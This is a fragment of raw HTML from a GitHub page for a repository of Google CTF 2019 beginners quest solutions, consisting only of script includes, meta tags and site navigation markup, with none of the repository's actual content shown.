type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>google-ctf-2019/Drive_to_the_target at master · Alevsk/google-ctf-2019 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="E446:345B:164A7A8:16DBB28:64122461" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6f7d57e3640a928655bb0c5cc001711c62bff6942153d174fdd47a211d5edb8c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNDQ2OjM0NUI6MTY0QTdBODoxNkRCQjI4OjY0MTIyNDYxIiwidmlzaXRvcl9pZCI6IjEyOTMxMDAxNTkyNjYzMzM3OTMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="a7d756a7155c80c5b200c5e2f8a8f08597424395e85f32c7f1e94ccbedb20336" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:200424356" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="My solutions for google ctf beginners quest 2019. Contribute to Alevsk/google-ctf-2019 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e90ea5c7e39113eef00bde5c8fd65bd84bd57e028412ec92536e93ab66b5373d/Alevsk/google-ctf-2019" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="google-ctf-2019/Drive_to_the_target at master · Alevsk/google-ctf-2019" /><meta name="twitter:description" content="My solutions for google ctf beginners quest 2019. Contribute to Alevsk/google-ctf-2019 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e90ea5c7e39113eef00bde5c8fd65bd84bd57e028412ec92536e93ab66b5373d/Alevsk/google-ctf-2019" /><meta property="og:image:alt" content="My solutions for google ctf beginners quest 2019. Contribute to Alevsk/google-ctf-2019 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="google-ctf-2019/Drive_to_the_target at master · Alevsk/google-ctf-2019" /><meta property="og:url" content="https://github.com/Alevsk/google-ctf-2019" /><meta property="og:description" content="My solutions for google ctf beginners quest 2019. Contribute to Alevsk/google-ctf-2019 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/Alevsk/google-ctf-2019 git https://github.com/Alevsk/google-ctf-2019.git">
<meta name="octolytics-dimension-user_id" content="1795553" /><meta name="octolytics-dimension-user_login" content="Alevsk" /><meta name="octolytics-dimension-repository_id" content="200424356" /><meta name="octolytics-dimension-repository_nwo" content="Alevsk/google-ctf-2019" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="200424356" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Alevsk/google-ctf-2019" />
<link rel="canonical" href="https://github.com/Alevsk/google-ctf-2019/tree/master/Drive_to_the_target" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
